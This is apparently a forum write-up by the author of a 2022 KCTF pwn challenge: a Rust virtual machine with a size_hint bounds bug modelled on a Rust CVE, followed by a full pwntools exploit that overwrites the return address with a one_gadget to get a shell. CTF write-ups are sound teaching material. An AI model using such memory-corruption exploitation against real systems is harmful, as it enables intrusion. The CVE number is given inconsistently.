首页
社区
课程
招聘
[原创]2022 KCTF 春季赛——星盟安全团队
2022-4-18 12:04 9751

[原创]2022 KCTF 春季赛——星盟安全团队

2022-4-18 12:04
9751

前言

题目是由 rust 编写的虚拟机类pwn题的变种,出于“play for fun”的想法,没有在漏洞之外的其他地方给题目增加额外的难度,所以各位师傅拿到的都是没有删符号表的debug版二进制文件,希望师傅们玩的开心。

出题思路

主要思路来自于 CVE-2021-2993,由于 Size_hint 的错误实现所致。在文档中可以找对对应表述:

size_hint() is primarily intended to be used for optimizations such as reserving space for the elements of the iterator, but must not be trusted to e.g., omit bounds checks in unsafe code. An incorrect implementation of size_hint() should not lead to memory safety violations.

 

官方文档中指出了不能过于信任 size_hint 函数,因为它返回迭代器上下界,但可以由用户自行定义其行为,对于实现不规范的情况,该函数有可能会导致错误。在本题中,该函数导致了越界读写,最终能够修改返回地址使得其返回到One_gadget,最终拿到shell。
出题人经过测试之后发现,只有在 Ubuntu16 上能够直接利用One_gadget直接拿到shell,考虑到考点只有这个,所以也没有在这方面另外增加难度,最终的EXP只要把U16的OG都试一遍就能拿到了(因此也被师傅们打爆了,只能说自己还是太菜了,拿不出非常精巧的利用)。

 

由于 rust 向来以安全性著称,因此发生在rust中的漏洞感觉会比C语言更好玩一些,因此将该漏洞换了一种方式展现在题目里了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
由rust编写的虚拟机pwn的变种,程序没有删符号表,希望能玩的开心。
 
## 题目思路
 
 主要思路来自于CVE-2021-29939,一个发现在rust代码中的高危漏洞。由于 Size_hint 的错误实现所致。在文档中可以找对对应表述:
 
> `size_hint()` is primarily intended to be used for optimizations such as reserving space for the elements of the iterator, but must not be trusted to e.g., omit bounds checks in unsafe code. An incorrect implementation of `size_hint()` should not lead to memory safety violations.
 
 由于 rust 向来以安全性著称,因此发生在rust中的漏洞就显得更加特殊一些,因此将该漏洞换了一种方式展现在题目里了。
 
## 解题步骤
 
 通过逆向能够发现,程序会读取若干指令然后模拟执行,所以首先应该把握整个程序的大致意图。
 
 然后是因为 rust 编写的缘故,运行时保护也比较多,对于各种非法操作都会很容易的导致panic,所以需要对整个程序的流程把握的比较明确。
 
然后发现程序使用StackVec来模拟虚拟机中的栈,逆向可知它们也都是建立在栈上而不是堆上的,且还通过length来指示栈当前内容的长度。
 
```c
vmvec::lib::StackVec<[u64_ 64]> *__cdecl vmvec::lib::StackVec$LT$A$GT$::new::h550b99ccd348adea(vmvec::lib::StackVec<[u64_ 64]> *retstr)
{
  char v2[512]; // [rsp+28h] [rbp-600h] BYREF
  char src[512]; // [rsp+228h] [rbp-400h] BYREF
  char dest[512]; // [rsp+428h] [rbp-200h] BYREF
 
  memcpy(dest, src, sizeof(dest));
  memcpy(v2, dest, sizeof(v2));
  retstr->length = 0LL;
  memcpy(&retstr->data, v2, sizeof(retstr->data));
  return retstr;
}

继续逆向,发现有一个特别的操作“ext_stack”,其中有一段特别的检查:

1
if ( v15 + v14 > vmvec::lib::StackVec$LT$A$GT$::capacity::he837472c501b6732(self) )

结合上面expect中的字符串:

1
v3.data_ptr = "iterable must provide upper bound.assertion failed: self.len() + upper_bound <= self.capacity()assertion failed: step != 0

以及查阅rust文档中提到的 size_hint 函数可知,该函数返回一个对象的上下界元组,而上面的 if 要求对象的上界加上当前栈的长度小于栈的capacity。

1
core::ptr::write::h5bcec47e57c65cec(dst, src);

同时,也注意到文档中描述 size_hint表示,其并不能过于信任,因此着重关系该函数的实现。

 

继续逆向,发现该函数的输入对象是string_vec,往上寻找可能的操作,观察对应函数可知,string_vec大致实现了一个大致实现了一个简化后的deque,因此有可能发生回绕。

 

最后通过精心构造deque的结果实现溢出写栈的length,就会让len函数返回意外的值而不发生panic,于是再往栈里写数据就能够实现任意地址写了。最终写返回地址为one_gadget即可。

 

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
context.log_level='debug'
def vec_int(index):
    str1="vec int >> "
    str2=""
    for i in range(index):
        str2+=str(i)
        str2+=","
    str3=str1+"["+str2[:-1]+"]"
    print(str3)
 
def vec_str_name(name,index):
    str1="vec "+name+" str >> "
    str2=""
    for i in range(index):
        if i==23:
            str2+=p64(0x5555555dad60)
        else:
            str2+=str(i)
        str2=str2+","
    str3=str1+"["+str2[:-1]+"]"
    print(str3)
 
def pop_back_n_name(name,n):
    str1="adj "+name+" str"+" >> pop_back"
    str2=""
    for i in range(n):
        str2+=str1+"\n"
    str2=str2[:-1]
    print(str2)
 
def pop_front_n_name(name,n):
    str1="adj "+name+" str"+" >> pop_front"
    str2=""
    for i in range(n):
        str2+=str1+"\n"
    str2=str2[:-1]
    print(str2)
 
def stack_ext(name):
    str1="adj "+name+" str >> stack_ext"
    print(str1)
 
def switch_stack():
    print("switch_stack")
 
def cal(op,obj):
    str1="cal "+op+" "+obj
    print(str1)
 
 
exp="""
vec int >> [0,0,0]
cal add stack_to_reg
vec int >> [0,0,0,8,9,10,11,12,13,14,15,16,17,18,19,20]
vec int >> [1,2,3,4,5,6,7,8,0,10252512,10]
cal add stack_to_reg
vec int >> [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20]
vec int >> [1,2,3,4,5,6,7,8,9,10,11,12,13]
vec vul int >> [1,2,3,4,5,6]
adj vul int >> pop_front
adj vul int >> push_back 113
adj vul int >> pop_front
adj vul int >> push_back 576
adj vul int >> pop_front
adj vul int >> pop_front
adj vul int >> pop_front
adj vul int >> stack_ext
switch_stack
print
cal add stack_to_reg
cal sub reg
switch_stack
cal stack_move 64
switch_stack
cal add reg_to_stack
#
"""
 
p=process("./attachments")
p.sendline(exp)
p.interactive()

```


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2022-6-3 12:28 被kanxue编辑 ,原因:
上传的附件:
收藏
点赞3
打赏
分享
最新回复 (6)
雪    币: 26435
活跃值: (18462)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2022-5-9 14:34
2
0
第十题 陷入轮回
雪    币: 25
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
apwnaroot 2022-6-8 18:26
3
0
师傅都开始用cve出题了,orz

雪    币: 25
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
apwnaroot 2022-6-8 18:26
4
0
师傅都开始用cve出题了,orz

雪    币: 25
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
apwnaroot 2022-6-8 18:26
5
0
师傅都开始用cve出题了,orz

雪    币: 25
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
apwnaroot 2022-6-8 18:26
6
0
师傅都开始用cve出题了,orz

雪    币: 9
活跃值: (287)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wx_G-H-Z℡ 2022-9-10 10:24
7
0
师傅都开始用cve出题了,orz
游客
登录 | 注册 方可回帖
返回